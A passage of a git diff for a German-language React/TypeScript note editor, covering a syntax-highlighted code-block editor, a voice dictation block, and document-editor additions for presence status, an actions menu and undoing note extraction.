}, 1500);
|
||||
};
|
||||
|
||||
const applyContentUpdate = (newVal: string, target: HTMLTextAreaElement) => {
|
||||
if (!isControlled) {
|
||||
setUncontrolledContent(newVal);
|
||||
}
|
||||
if (onChangeContent) {
|
||||
onChangeContent(newVal);
|
||||
} else if (handleContentChange) {
|
||||
target.value = newVal;
|
||||
handleContentChange({
|
||||
target,
|
||||
currentTarget: target,
|
||||
} as React.ChangeEvent<HTMLTextAreaElement>);
|
||||
}
|
||||
};
|
||||
|
||||
const onTextareaChange = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
|
||||
if (!canEdit) return;
|
||||
if (!isControlled) {
|
||||
setUncontrolledContent(e.target.value);
|
||||
}
|
||||
if (handleContentChange) {
|
||||
handleContentChange(e);
|
||||
} else if (onChangeContent) {
|
||||
onChangeContent(e.target.value);
|
||||
}
|
||||
};
|
||||
|
||||
const onTextareaKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
|
||||
if (canEdit && e.key === 'Tab') {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
const ta = e.currentTarget;
|
||||
const val = currentContent;
|
||||
const start = ta.selectionStart ?? 0;
|
||||
const end = ta.selectionEnd ?? start;
|
||||
|
||||
const lineStart = start === 0 ? 0 : val.lastIndexOf('\n', start - 1) + 1;
|
||||
const effectiveEnd = end > start && val[end - 1] === '\n' ? end - 1 : end;
|
||||
const lineEndIdx = val.indexOf('\n', effectiveEnd);
|
||||
const blockEnd = lineEndIdx === -1 ? val.length : lineEndIdx;
|
||||
const lines = val.slice(lineStart, blockEnd).split('\n');
|
||||
|
||||
if (!e.shiftKey) {
|
||||
const updatedLines = lines.map((line) => ' ' + line);
|
||||
const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
|
||||
const newStart = start + 2;
|
||||
const newEnd = end + updatedLines.length * 2;
|
||||
applyContentUpdate(newVal, ta);
|
||||
ta.value = newVal;
|
||||
ta.setSelectionRange(newStart, newEnd);
|
||||
setTimeout(() => {
|
||||
if (localTextareaRef.current) {
|
||||
localTextareaRef.current.setSelectionRange(newStart, newEnd);
|
||||
}
|
||||
}, 0);
|
||||
} else {
|
||||
let removedFirst = 0;
|
||||
let removedTotal = 0;
|
||||
const updatedLines = lines.map((line, idx) => {
|
||||
let removeCount = 0;
|
||||
if (line.startsWith(' ')) removeCount = 2;
|
||||
else if (line.startsWith(' ') || line.startsWith('\t')) removeCount = 1;
|
||||
if (idx === 0) removedFirst = removeCount;
|
||||
removedTotal += removeCount;
|
||||
return line.slice(removeCount);
|
||||
});
|
||||
if (removedTotal > 0) {
|
||||
const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
|
||||
const newStart = Math.max(lineStart, start - removedFirst);
|
||||
const newEnd = Math.max(newStart, end - removedTotal);
|
||||
applyContentUpdate(newVal, ta);
|
||||
ta.value = newVal;
|
||||
ta.setSelectionRange(newStart, newEnd);
|
||||
setTimeout(() => {
|
||||
if (localTextareaRef.current) {
|
||||
localTextareaRef.current.setSelectionRange(newStart, newEnd);
|
||||
}
|
||||
}, 0);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
handleKeyDown?.(e);
|
||||
};
|
||||
|
||||
const handleScroll = (e: React.UIEvent<HTMLTextAreaElement>) => {
|
||||
const target = e.currentTarget;
|
||||
if (preRef.current) {
|
||||
preRef.current.scrollTop = target.scrollTop;
|
||||
preRef.current.scrollLeft = target.scrollLeft;
|
||||
}
|
||||
if (lineNumbersRef.current) {
|
||||
lineNumbersRef.current.scrollTop = target.scrollTop;
|
||||
}
|
||||
};
|
||||
|
||||
const handleLineNumbersScroll = (e: React.UIEvent<HTMLDivElement>) => {
|
||||
const target = e.currentTarget;
|
||||
if (localTextareaRef.current) {
|
||||
localTextareaRef.current.scrollTop = target.scrollTop;
|
||||
}
|
||||
if (preRef.current) {
|
||||
preRef.current.scrollTop = target.scrollTop;
|
||||
}
|
||||
};
|
||||
|
||||
const handleLineNumbersWheel = (e: React.WheelEvent) => {
|
||||
if (localTextareaRef.current) {
|
||||
localTextareaRef.current.scrollTop += e.deltaY;
|
||||
}
|
||||
};
|
||||
|
||||
const lineCount = useMemo(() => {
|
||||
return currentContent.split('\n').length;
|
||||
}, [currentContent]);
|
||||
|
||||
const rawLang = block.lang || '';
|
||||
const selectValue = rawLang ? resolveLanguageId(rawLang) || rawLang : '';
|
||||
const hasCustomUnknownLang = Boolean(selectValue && !KNOWN_OPTION_IDS.has(selectValue));
|
||||
|
||||
return (
|
||||
<div className="bg-code border border-border rounded-btn my-0.5 max-w-full overflow-hidden">
|
||||
{/* Code Block Header */}
|
||||
<div className="flex items-center justify-between gap-2 px-2 py-1 border-b border-border text-[11px] font-mono text-faint">
|
||||
<div className="flex items-center gap-1.5 min-w-0">
|
||||
<Code className="w-3.5 h-3.5 text-muted shrink-0" />
|
||||
{canEdit ? (
|
||||
<select
|
||||
aria-label="Sprache auswählen"
|
||||
value={selectValue}
|
||||
onChange={(e) => onChangeLang?.(e.target.value)}
|
||||
className="min-h-[44px] sm:min-h-0 bg-transparent text-muted hover:text-main focus:text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded-btn px-1.5 py-0.5 outline-none cursor-pointer"
|
||||
>
|
||||
<option value="" className="bg-panel text-main">
|
||||
Text
|
||||
</option>
|
||||
{hasCustomUnknownLang && (
|
||||
<option value={selectValue} className="bg-panel text-main">
|
||||
{selectValue}
|
||||
</option>
|
||||
)}
|
||||
{CODE_LANGUAGE_GROUPS.map((group) => (
|
||||
<optgroup key={group.label} label={group.label} className="bg-panel text-muted">
|
||||
{group.options.map((opt) => (
|
||||
<option key={opt.id} value={opt.id} className="bg-panel text-main">
|
||||
{opt.label}
|
||||
</option>
|
||||
))}
|
||||
</optgroup>
|
||||
))}
|
||||
</select>
|
||||
) : (
|
||||
<span className="font-mono text-[11px] text-muted px-1">{block.lang || 'Text'}</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-1.5 shrink-0">
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleCopy}
|
||||
className="min-h-[44px] sm:min-h-0 px-2 py-0.5 rounded-btn text-[11px] font-mono text-muted hover:text-main hover:bg-panel-elevated transition-colors inline-flex items-center gap-1 cursor-pointer"
|
||||
title="In die Zwischenablage kopieren"
|
||||
>
|
||||
{copied ? (
|
||||
<>
|
||||
<Check className="w-3 h-3 text-status-ok" />
|
||||
<span className="text-status-ok">Kopiert!</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<Copy className="w-3 h-3 opacity-75" />
|
||||
<span>Kopieren</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
|
||||
{canEdit && onConvertToText && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={onConvertToText}
|
||||
className="min-h-[44px] sm:min-h-0 px-2 py-0.5 rounded-btn text-[11px] font-mono text-muted hover:text-accent hover:bg-panel-elevated transition-colors inline-flex items-center cursor-pointer"
|
||||
>
|
||||
Als Text
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Live Highlighted Overlay + Textarea with Line Numbers */}
|
||||
<div className="flex relative w-full overflow-hidden">
|
||||
{/* Line Numbers Column */}
|
||||
<div
|
||||
ref={lineNumbersRef}
|
||||
aria-hidden="true"
|
||||
onScroll={handleLineNumbersScroll}
|
||||
onWheel={handleLineNumbersWheel}
|
||||
data-testid="code-line-numbers"
|
||||
className="select-none py-2 pl-2.5 pr-2 font-mono text-xs text-faint leading-relaxed text-right border-r border-border/40 shrink-0 overflow-hidden"
|
||||
>
|
||||
{Array.from({ length: lineCount }, (_, i) => (
|
||||
<div key={i + 1} data-line-number={i + 1}>
|
||||
{i + 1}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Code Content (Overlay + Textarea) */}
|
||||
<div className="relative flex-1 min-w-0 overflow-hidden">
|
||||
<pre
|
||||
ref={preRef}
|
||||
aria-hidden="true"
|
||||
className="absolute inset-0 m-0 p-2 font-mono text-xs text-main leading-relaxed whitespace-pre pointer-events-none select-none overflow-hidden"
|
||||
>
|
||||
<code
|
||||
className={prismLang ? `language-${prismLang}` : 'language-none'}
|
||||
dangerouslySetInnerHTML={{
|
||||
__html: highlightedHtml + (currentContent.endsWith('\n') ? '\n' : ''),
|
||||
}}
|
||||
/>
|
||||
</pre>
|
||||
<textarea
|
||||
ref={(el) => {
|
||||
localTextareaRef.current = el;
|
||||
if (textareaRef) textareaRef.current = el;
|
||||
registerTextareaRef?.(block.id, el);
|
||||
}}
|
||||
rows={1}
|
||||
value={currentContent}
|
||||
readOnly={!canEdit}
|
||||
spellCheck={false}
|
||||
autoCapitalize="off"
|
||||
autoComplete="off"
|
||||
autoCorrect="off"
|
||||
onFocus={handleFocus}
|
||||
onBlur={handleBlur}
|
||||
onChange={onTextareaChange}
|
||||
onKeyDown={onTextareaKeyDown}
|
||||
onScroll={handleScroll}
|
||||
style={{ caretColor: 'var(--text-main)' }}
|
||||
className="relative block w-full m-0 p-2 font-mono text-xs leading-relaxed whitespace-pre bg-transparent text-transparent caret-main selection:bg-accent/25 selection:text-transparent border-0 focus:outline-none focus:ring-0 resize-none overflow-x-auto"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -1,282 +0,0 @@
|
||||
import React, { useState, useMemo, useRef } from 'react';
|
||||
import Prism from 'prismjs';
|
||||
import 'prismjs/components/prism-python';
|
||||
import 'prismjs/components/prism-typescript';
|
||||
import 'prismjs/components/prism-bash';
|
||||
import 'prismjs/components/prism-json';
|
||||
import 'prismjs/components/prism-go';
|
||||
import 'prismjs/components/prism-sql';
|
||||
import 'prismjs/components/prism-yaml';
|
||||
import 'prismjs/components/prism-rust';
|
||||
import 'prismjs/components/prism-c';
|
||||
import 'prismjs/components/prism-cpp';
|
||||
import 'prismjs/components/prism-java';
|
||||
import 'prismjs/components/prism-php';
|
||||
import 'prismjs/components/prism-docker';
|
||||
import 'prismjs/components/prism-markdown';
|
||||
import { Code, Copy, Check, Eye, Edit3 } from 'lucide-react';
|
||||
import { DocumentBlock } from '../../lib/types';
|
||||
|
||||
export interface CodeBlockItemProps {
|
||||
block: DocumentBlock;
|
||||
isReadOnly: boolean;
|
||||
onChangeContent: (content: string) => void;
|
||||
onChangeLang: (lang: string) => void;
|
||||
onFocus?: () => void;
|
||||
onBlur?: () => void;
|
||||
inputRef?: (el: HTMLTextAreaElement | null) => void;
|
||||
}
|
||||
|
||||
export const CODE_LANGUAGES = [
|
||||
{ id: 'javascript', label: 'JavaScript' },
|
||||
{ id: 'typescript', label: 'TypeScript' },
|
||||
{ id: 'python', label: 'Python' },
|
||||
{ id: 'go', label: 'Go' },
|
||||
{ id: 'bash', label: 'Bash / Shell' },
|
||||
{ id: 'json', label: 'JSON' },
|
||||
{ id: 'html', label: 'HTML / XML', alias: 'markup' },
|
||||
{ id: 'css', label: 'CSS' },
|
||||
{ id: 'sql', label: 'SQL' },
|
||||
{ id: 'rust', label: 'Rust' },
|
||||
{ id: 'cpp', label: 'C++' },
|
||||
{ id: 'c', label: 'C' },
|
||||
{ id: 'java', label: 'Java' },
|
||||
{ id: 'php', label: 'PHP' },
|
||||
{ id: 'yaml', label: 'YAML' },
|
||||
{ id: 'docker', label: 'Dockerfile' },
|
||||
{ id: 'markdown', label: 'Markdown' },
|
||||
{ id: 'text', label: 'Plain Text' },
|
||||
];
|
||||
|
||||
export const CodeBlockItem: React.FC<CodeBlockItemProps> = ({
|
||||
block,
|
||||
isReadOnly,
|
||||
onChangeContent,
|
||||
onChangeLang,
|
||||
onFocus,
|
||||
onBlur,
|
||||
inputRef,
|
||||
}) => {
|
||||
const [isEditing, setIsEditing] = useState(false);
|
||||
const [copied, setCopied] = useState(false);
|
||||
const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
|
||||
|
||||
const currentLang = block.lang || 'javascript';
|
||||
|
||||
// Highlighted HTML generated by Prism
|
||||
const highlightedCode = useMemo(() => {
|
||||
const code = block.content || '';
|
||||
if (!code) return '';
|
||||
|
||||
const prismLang = currentLang === 'html' ? 'markup' : currentLang;
|
||||
const grammar = Prism.languages[prismLang] || Prism.languages.javascript;
|
||||
if (!grammar) {
|
||||
return code
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>');
|
||||
}
|
||||
try {
|
||||
return Prism.highlight(code, grammar, prismLang);
|
||||
} catch {
|
||||
return code
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>');
|
||||
}
|
||||
}, [block.content, currentLang]);
|
||||
|
||||
// Code lines for line numbers
|
||||
const lines = useMemo(() => {
|
||||
return (block.content || '').split('\n');
|
||||
}, [block.content]);
|
||||
|
||||
const handleCopy = async (e: React.MouseEvent) => {
|
||||
e.stopPropagation();
|
||||
try {
|
||||
await navigator.clipboard.writeText(block.content || '');
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 2000);
|
||||
} catch {
|
||||
// Fallback
|
||||
}
|
||||
};
|
||||
|
||||
const handleKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
|
||||
if (e.key === 'Escape') {
|
||||
setIsEditing(false);
|
||||
return;
|
||||
}
|
||||
// Tab key indent/outdent
|
||||
if (e.key === 'Tab') {
|
||||
e.preventDefault();
|
||||
const textarea = e.currentTarget;
|
||||
const start = textarea.selectionStart;
|
||||
const end = textarea.selectionEnd;
|
||||
const val = textarea.value;
|
||||
|
||||
if (e.shiftKey) {
|
||||
if (val.substring(start - 2, start) === ' ') {
|
||||
const newVal = val.substring(0, start - 2) + val.substring(start);
|
||||
onChangeContent(newVal);
|
||||
setTimeout(() => {
|
||||
textarea.selectionStart = textarea.selectionEnd = Math.max(0, start - 2);
|
||||
}, 0);
|
||||
}
|
||||
} else {
|
||||
const newVal = val.substring(0, start) + ' ' + val.substring(end);
|
||||
onChangeContent(newVal);
|
||||
setTimeout(() => {
|
||||
textarea.selectionStart = textarea.selectionEnd = start + 2;
|
||||
}, 0);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const switchToEdit = () => {
|
||||
if (isReadOnly) return;
|
||||
setIsEditing(true);
|
||||
setTimeout(() => {
|
||||
localTextareaRef.current?.focus();
|
||||
}, 20);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="rounded-card border border-border bg-panel overflow-hidden shadow-xs my-1 group/code">
|
||||
{/* Code Block Header Toolbar */}
|
||||
<div className="flex items-center justify-between px-3 py-1.5 bg-canvas border-b border-border text-xs">
|
||||
{/* Left: Language Selection */}
|
||||
<div className="flex items-center gap-2">
|
||||
<Code className="w-3.5 h-3.5 text-accent flex-shrink-0" />
|
||||
<select
|
||||
value={currentLang}
|
||||
disabled={isReadOnly}
|
||||
onChange={(e) => onChangeLang(e.target.value)}
|
||||
className="bg-transparent text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded px-1.5 py-0.5 outline-none cursor-pointer"
|
||||
>
|
||||
{CODE_LANGUAGES.map((lang) => (
|
||||
<option key={lang.id} value={lang.id} className="bg-panel text-main">
|
||||
{lang.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
|
||||
{/* Right: Mode Toggle & Copy */}
|
||||
<div className="flex items-center gap-1.5">
|
||||
{!isReadOnly && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => {
|
||||
if (isEditing) {
|
||||
setIsEditing(false);
|
||||
} else {
|
||||
switchToEdit();
|
||||
}
|
||||
}}
|
||||
className="px-2 py-0.5 rounded text-[11px] font-medium text-muted hover:text-main hover:bg-panel-elevated transition-colors flex items-center gap-1 cursor-pointer"
|
||||
title={isEditing ? 'Zur farbigen Vorschau wechseln (Esc)' : 'Code bearbeiten'}
|
||||
>
|
||||
{isEditing ? (
|
||||
<>
|
||||
<Eye className="w-3 h-3 text-accent" />
|
||||
<span>Vorschau</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<Edit3 className="w-3 h-3 text-muted" />
|
||||
<span>Bearbeiten</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
)}
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleCopy}
|
||||
className={`px-2 py-0.5 rounded text-[11px] font-medium transition-colors flex items-center gap-1 cursor-pointer ${
|
||||
copied
|
||||
? 'text-emerald-500 bg-emerald-500/10'
|
||||
: 'text-muted hover:text-main hover:bg-panel-elevated'
|
||||
}`}
|
||||
title="Code in Zwischenablage kopieren"
|
||||
>
|
||||
{copied ? (
|
||||
<>
|
||||
<Check className="w-3 h-3 text-emerald-500" />
|
||||
<span>Kopiert!</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<Copy className="w-3 h-3 opacity-70" />
|
||||
<span>Kopieren</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Code Block Content */}
|
||||
{isEditing && !isReadOnly ? (
|
||||
<div className="relative">
|
||||
<textarea
|
||||
ref={(el) => {
|
||||
localTextareaRef.current = el;
|
||||
if (inputRef) inputRef(el);
|
||||
}}
|
||||
rows={Math.max(3, lines.length)}
|
||||
value={block.content || ''}
|
||||
onFocus={() => onFocus && onFocus()}
|
||||
onBlur={() => {
|
||||
if (onBlur) onBlur();
|
||||
}}
|
||||
onChange={(e) => onChangeContent(e.target.value)}
|
||||
onKeyDown={handleKeyDown}
|
||||
placeholder="// Code hier eingeben..."
|
||||
className="w-full p-3 bg-panel-elevated/40 font-mono text-xs text-main leading-relaxed focus:outline-none resize-none placeholder:text-faint"
|
||||
/>
|
||||
<div className="px-3 py-1 bg-canvas/40 border-t border-border/50 text-[10px] text-faint flex items-center justify-between">
|
||||
<span>Tab: Einrücken (2 Leerzeichen) • Shift+Tab: Ausrücken</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setIsEditing(false)}
|
||||
className="hover:text-accent cursor-pointer"
|
||||
>
|
||||
Vorschau anzeigen (Esc)
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<div
|
||||
onClick={switchToEdit}
|
||||
className={`relative p-3 font-mono text-xs overflow-x-auto ${
|
||||
isReadOnly ? '' : 'cursor-pointer hover:bg-panel-elevated/20 transition-colors'
|
||||
}`}
|
||||
title={isReadOnly ? undefined : 'Klicken zum Bearbeiten'}
|
||||
>
|
||||
{block.content ? (
|
||||
<div className="flex gap-3">
|
||||
{/* Line numbers */}
|
||||
<div className="select-none text-right text-faint opacity-50 font-mono text-xs leading-relaxed flex-shrink-0">
|
||||
{lines.map((_, idx) => (
|
||||
<div key={idx}>{idx + 1}</div>
|
||||
))}
|
||||
</div>
|
||||
{/* Syntax highlighted code */}
|
||||
<pre className="m-0 p-0 font-mono text-xs leading-relaxed whitespace-pre overflow-x-auto flex-1">
|
||||
<code
|
||||
dangerouslySetInnerHTML={{ __html: highlightedCode }}
|
||||
className={`language-${currentLang}`}
|
||||
/>
|
||||
</pre>
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-faint italic py-2">
|
||||
{isReadOnly ? '(Kein Code hinterlegt)' : '(Klicken, um Code einzugeben...)'}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,119 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import { Loader2, Square } from 'lucide-react';
|
||||
import { useVoiceInput } from '../../lib/useVoiceInput';
|
||||
import { VoiceWave } from '../../components/VoiceWave';
|
||||
import { triggerHaptic } from '../../lib/api';
|
||||
|
||||
interface DictationBlockProps {
|
||||
onDone: (text: string) => void;
|
||||
onCancel: () => void;
|
||||
}
|
||||
|
||||
function formatDuration(sec: number): string {
|
||||
const m = String(Math.floor(sec / 60)).padStart(2, '0');
|
||||
const s = String(sec % 60).padStart(2, '0');
|
||||
return `${m}:${s}`;
|
||||
}
|
||||
|
||||
// What an empty bullet turns into after /diktat: listening starts right away, the whole bullet is one
|
||||
// button with live text growing above the wave, mm:ss timer and a translucent "Stopp" on top. A tap ends
|
||||
// it; the text lands in the bullet as plain text.
|
||||
export const DictationBlock: React.FC<DictationBlockProps> = ({ onDone, onCancel }) => {
|
||||
const [interim, setInterim] = useState('');
|
||||
const [elapsedSec, setElapsedSec] = useState(0);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const doneRef = useRef(false);
|
||||
const buttonRef = useRef<HTMLButtonElement>(null);
|
||||
|
||||
const voice = useVoiceInput({
|
||||
live: true,
|
||||
continuous: true,
|
||||
onText: (text, final) => {
|
||||
if (!final) {
|
||||
setInterim(text);
|
||||
return;
|
||||
}
|
||||
if (doneRef.current) return;
|
||||
doneRef.current = true;
|
||||
if (text.trim()) onDone(text.trim());
|
||||
else onCancel();
|
||||
},
|
||||
onError: (message) => {
|
||||
setError(message);
|
||||
window.setTimeout(() => {
|
||||
if (!doneRef.current) {
|
||||
doneRef.current = true;
|
||||
onCancel();
|
||||
}
|
||||
}, 2500);
|
||||
},
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
triggerHaptic([15, 60, 25]);
|
||||
void voice.start();
|
||||
buttonRef.current?.focus();
|
||||
const started = Date.now();
|
||||
const timer = window.setInterval(() => {
|
||||
setElapsedSec(Math.floor((Date.now() - started) / 1000));
|
||||
}, 500);
|
||||
return () => window.clearInterval(timer);
|
||||
// start once when the bullet turns into the dictation
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, []);
|
||||
|
||||
const transcribing = voice.state === 'transcribing';
|
||||
const chunkBusy = voice.pendingChunks > 0 || transcribing;
|
||||
|
||||
return (
|
||||
<button
|
||||
ref={buttonRef}
|
||||
type="button"
|
||||
onClick={() => {
|
||||
if (voice.state === 'listening') {
|
||||
triggerHaptic(20);
|
||||
void voice.stop();
|
||||
}
|
||||
}}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === 'Escape') {
|
||||
e.preventDefault();
|
||||
doneRef.current = true;
|
||||
voice.cancel();
|
||||
onCancel();
|
||||
}
|
||||
}}
|
||||
disabled={transcribing || !!error}
|
||||
aria-label="Diktat beenden"
|
||||
className="relative w-full min-h-[56px] sm:min-h-[44px] my-1 px-3 py-2 rounded-card border border-accent bg-accent-dim overflow-hidden flex flex-col gap-1.5 text-left cursor-pointer disabled:cursor-default focus:outline-none"
|
||||
>
|
||||
{(interim || chunkBusy) && !error && (
|
||||
<div className="w-full text-sm text-main whitespace-pre-wrap break-words leading-relaxed pointer-events-none">
|
||||
{interim}
|
||||
{chunkBusy && <span className="text-muted animate-pulse">{interim ? ' …' : '…'}</span>}
|
||||
</div>
|
||||
)}
|
||||
<div className="relative w-full min-h-[32px] flex items-center justify-between gap-2">
|
||||
{/* Live wave across the bottom bar */}
|
||||
<VoiceWave getLevel={voice.level} bars={32} className="absolute inset-x-0 inset-y-0 justify-between h-auto text-accent opacity-60" />
|
||||
<span className="relative z-10 px-2 py-0.5 rounded-pill bg-panel/70 text-muted text-[11px] font-mono tabular-nums backdrop-blur-sm">
|
||||
{formatDuration(elapsedSec)}
|
||||
</span>
|
||||
{/* Floating stop label on top */}
|
||||
<span className="relative z-10 flex items-center gap-1.5 px-3 py-1 rounded-pill bg-panel/70 text-main text-xs font-semibold backdrop-blur-sm">
|
||||
{error ? (
|
||||
<span className="text-status-err font-normal">{error}</span>
|
||||
) : transcribing ? (
|
||||
<>
|
||||
<Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird erkannt…
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<Square className="w-3 h-3 fill-current" /> Stopp
|
||||
</>
|
||||
)}
|
||||
</span>
|
||||
</div>
|
||||
</button>
|
||||
);
|
||||
};
|
||||
@@ -17,16 +17,27 @@ import {
|
||||
Check,
|
||||
CloudOff,
|
||||
AlertTriangle,
|
||||
GitMerge,
|
||||
Undo2,
|
||||
Redo2,
|
||||
MoreHorizontal,
|
||||
} from 'lucide-react';
|
||||
import { Document, DocumentBlock, User } from '../../lib/types';
|
||||
import { api } from '../../lib/api';
|
||||
import { DocSyncEngine, EngineState } from '../../lib/docSync/engine';
|
||||
import { Presence } from '../../lib/docSync/transport';
|
||||
import { OutlinerTree, OutlinerTreeHandle } from './OutlinerTree';
|
||||
import { PresenceAvatars } from './PresenceAvatars';
|
||||
import { extractHashtags } from '../../lib/hashtags';
|
||||
|
||||
export type DocSaveStatus = 'saved' | 'saving' | 'unsaved' | 'error';
|
||||
|
||||
export interface DocHeaderStatus {
|
||||
showLive: boolean;
|
||||
channel: 'ws' | 'sse' | 'longpoll' | 'interval';
|
||||
otherPeople: Presence[];
|
||||
avatarsById: Map<string, string>;
|
||||
}
|
||||
|
||||
export interface DocumentEditorProps {
|
||||
docId: string;
|
||||
currentUser?: User | null;
|
||||
@@ -44,6 +55,12 @@ export interface DocumentEditorProps {
|
||||
onBackMobile?: () => void;
|
||||
onOpenTask?: (taskId: string) => void;
|
||||
onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void;
|
||||
onHeaderStatusChange?: (status: DocHeaderStatus | null) => void;
|
||||
/** Opens the dialog to merge this note into another one (own notes only) */
|
||||
onRequestMerge?: (doc: Document) => void;
|
||||
/** A note was created from this one (extract) or removed again (undo); keeps the sidebar current */
|
||||
onDocCreated?: (doc: Document) => void;
|
||||
onDocRemoved?: (docId: string) => void;
|
||||
}
|
||||
|
||||
import { EmojiPickerModal } from './EmojiPickerModal';
|
||||
@@ -190,6 +207,10 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
onBackMobile,
|
||||
onOpenTask,
|
||||
onSaveStatusChange,
|
||||
onHeaderStatusChange,
|
||||
onRequestMerge,
|
||||
onDocCreated,
|
||||
onDocRemoved,
|
||||
}) => {
|
||||
const [doc, setDoc] = useState<Document | null>(initialDoc || null);
|
||||
const [title, setTitle] = useState<string>(initialDoc?.title || '');
|
||||
@@ -200,6 +221,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [showEmojiPicker, setShowEmojiPicker] = useState<boolean>(false);
|
||||
const [zoomedBlockId, setZoomedBlockId] = useState<string | null>(null);
|
||||
const [showActionsMenu, setShowActionsMenu] = useState<boolean>(false);
|
||||
const actionsMenuRef = useRef<HTMLDivElement | null>(null);
|
||||
|
||||
// Sync engine (operation log): stores every change locally and syncs it with the server
|
||||
const engineRef = useRef<DocSyncEngine | null>(null);
|
||||
@@ -375,14 +398,75 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
.catch(() => {});
|
||||
}, [otherPeople.length]);
|
||||
|
||||
// Short hint at the bottom of the editor (blocked actions, skipped undo)
|
||||
useEffect(() => {
|
||||
onHeaderStatusChange?.({
|
||||
showLive: Boolean(engineState && (engineState.shared || engineState.sessions > 1)),
|
||||
channel: engineState?.channel || 'ws',
|
||||
otherPeople,
|
||||
avatarsById,
|
||||
});
|
||||
}, [
|
||||
engineState?.shared,
|
||||
engineState?.sessions,
|
||||
engineState?.channel,
|
||||
otherPeople,
|
||||
avatarsById,
|
||||
onHeaderStatusChange,
|
||||
]);
|
||||
|
||||
useEffect(() => {
|
||||
return () => {
|
||||
onHeaderStatusChange?.(null);
|
||||
};
|
||||
}, [onHeaderStatusChange]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!showActionsMenu) return;
|
||||
const handleMouseDown = (e: MouseEvent) => {
|
||||
if (actionsMenuRef.current && !actionsMenuRef.current.contains(e.target as Node)) {
|
||||
setShowActionsMenu(false);
|
||||
}
|
||||
};
|
||||
const handleKeyDown = (e: KeyboardEvent) => {
|
||||
if (e.key === 'Escape') {
|
||||
setShowActionsMenu(false);
|
||||
}
|
||||
};
|
||||
document.addEventListener('mousedown', handleMouseDown);
|
||||
document.addEventListener('keydown', handleKeyDown);
|
||||
return () => {
|
||||
document.removeEventListener('mousedown', handleMouseDown);
|
||||
document.removeEventListener('keydown', handleKeyDown);
|
||||
};
|
||||
}, [showActionsMenu]);
|
||||
|
||||
// Short hint at the bottom of the editor (blocked actions, skipped undo), optionally with one action
|
||||
const [notice, setNotice] = useState<string | null>(null);
|
||||
const [noticeActions, setNoticeActions] = useState<{ label: string; run: () => void }[]>([]);
|
||||
const noticeTimerRef = useRef<number | null>(null);
|
||||
const showNotice = useCallback((message: string) => {
|
||||
const showNotice = useCallback((message: string, actions: { label: string; run: () => void }[] = []) => {
|
||||
setNotice(message);
|
||||
setNoticeActions(actions);
|
||||
if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
|
||||
noticeTimerRef.current = window.setTimeout(() => setNotice(null), 3500);
|
||||
noticeTimerRef.current = window.setTimeout(() => {
|
||||
setNotice(null);
|
||||
setNoticeActions([]);
|
||||
}, actions.length ? 8000 : 3500);
|
||||
}, []);
|
||||
|
||||
// The last extraction, so undoing it (toast or Strg+Z) also puts the new note into the trash
|
||||
const lastExtractRef = useRef<{ newDocId: string; blockId: string; link: string } | null>(null);
|
||||
const finishUndoExtract = useCallback(() => {
|
||||
const info = lastExtractRef.current;
|
||||
if (!info) return;
|
||||
const block = currentBlocksRef.current.find((b) => b.id === info.blockId);
|
||||
if (block && block.content === info.link) return; // the undone step was something else
|
||||
lastExtractRef.current = null;
|
||||
api
|
||||
.undoExtract(info.newDocId)
|
||||
.then(() => onDocRemoved?.(info.newDocId))
|
||||
.catch((err: any) => showNotice(err?.message || 'Ausgelagerte Notiz konnte nicht entfernt werden'));
|
||||
